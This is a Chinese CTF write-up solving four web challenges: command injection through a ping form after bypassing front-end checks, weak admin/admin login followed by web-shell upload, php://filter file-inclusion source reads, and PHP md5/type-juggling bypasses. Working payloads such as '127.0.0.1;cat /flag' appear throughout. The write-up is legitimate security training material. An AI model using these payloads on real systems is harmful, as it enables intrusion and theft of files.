前端有限制,众所周知前端的限制只是为了前端用户可以输入有效的数据,让后端减小开销,更好的处理数据。
前端验证是通过对客户端输入数据的合法性进行检查来确保数据是有效且安全的。通常,它会通过一系列简单的规则,如长度检查、格式检查、正则表达式匹配等,验证用户输入是否符合要求,以提高应用程序的安全性和可用性。
前端检测,也称为前端验证或客户端验证,是指在用户界面上对用户输入的数据进行验证和验证的过程。它是在用户提交数据到服务器之前,在客户端(通常是在浏览器中)进行的验证过程。
前端检测主要用于验证用户输入的数据是否符合特定的要求和限制。它可以用于确保用户输入的数据格式正确、完整性和合法性,并提供即时的错误提示和反馈。
前端检测通常基于前端开发技术,如HTML、CSS和JavaScript。通过在前端代码中编写验证逻辑和规则,可以确保用户输入的数据满足特定的要求,如必填字段、最小长度、最大长度、数据格式等。
"whoami"是一个常见的命令行命令,通常用于显示当前登录用户的用户名。当您在命令行中输入"whoami"并按下回车键时,系统将返回当前用户的用户名作为输出。
进入环境,要求ping一个IP地址,先用127.0.0.1试一下
用管道符尝试查看一下根目录
127.0.0.1|ls
多试了几次管道符,猜测是前端检测,利用burp抓包然后改包
command=127.0.0.1|whoami&ping=Ping
查看根目录,发现flag文件
command=127.0.0.1;ls /&ping=Ping
查看flag文件
command=127.0.0.1;cat /flag&ping=Ping
NSSCTF{301d61d3-bf0d-4526-9853-6837a152ae32}
进入环境,是一个登录框,大概是登录完成后进行文件上传
先查看源码,发现账户登录是弱口令登录admin/admin
找到上传口开始文件上传
文件上传成功
用蚁剑连接就可以找到flag
进入环境得到源码
if ( substr($_GET["file"], 0, 3) === "php" ) {
: 如果GET参数file
的前三个字符是 “php”这段代码是一个简单的文件包含漏洞示例。它接受一个名为
file
的GET参数,并根据参数的值来包含不同的文件。如果参数以 “php” 开头,则会包含相应的文件并执行其中的代码,否则会输出 “Hacker!!”。如果没有传递file
参数,代码会将自身的源代码进行语法高亮显示。
看到这个三等号,我想到了用php://filter协议(php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了)
?file=php://filter/read=convert.base64-encode/resource=flag.php
将得到的base64进行解码,提到用php伪协议,但是一开始就用到了php伪协议
一、用php伪协议rot13解出本题
?file=php://filter/write=string.rot13/resource=flag
二、php伪协议读取文件的时候,直接读取flag再进行base64解码,而不用读取flag.php
?file=php://filter/read=convert.base64-encode/resource=flag
php伪协议参考:file_put_content和死亡·杂糅代码之缘 - 先知社区
尽管base64比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可;
php://filter/write=string.rot13||/resource=s1mple.php
这里的rot13编码即为
,所以这里可以进行写入;载荷效果如下:
其原理就是利用转码从而将原本的死亡代码进行转码从而使引擎无法识别从而避免死亡代码;
进入环境拿到源码
解析:
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))
在PHP中,intval()函数不能直接识别数组。intval()函数是用于获取变量的整数值,它可以识别字符串或数字类型的变量,并将其转换为整数。如果你尝试将一个数组传递给intval()函数,它将返回0。
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))
首先,使用isset()函数检查$_POST数组中是否存在名为"b1"和"b2"的元素。如果两个元素都存在且非空,将执行if语句中的操作。if语句的第二个条件判断用户输入的"b1"和"b2"的值是否相等,且md5加密后是否相等。如果这两个条件都成立,就会被视为通过了校验,可以执行后续操作。
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
首先,通过比较POST[′c1′]和POST[‘c2’]的值来判断它们是否相等,同时使用is_string()函数确保两个值都是字符串类型。if语句的第三个条件使用md5加密对和POST[′c1′]和POST[‘c2’]的值进行比较,判断它们的加密后的结果是否相等。如果这个条件也满足,就会被视为通过了校验,可以执行后续操作。
is_string()函数在PHP中用于检测一个变量是否为字符串类型。它只能用于检测一个变量是否是一个普通的字符串,而不会将数组识别为字符串。
如果传递给is_string()函数的参数是一个数组,is_string()函数会返回false,因为数组不是字符串类型。需要传入值是字符串且md5值相等
payload:
a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=240610708
得到flag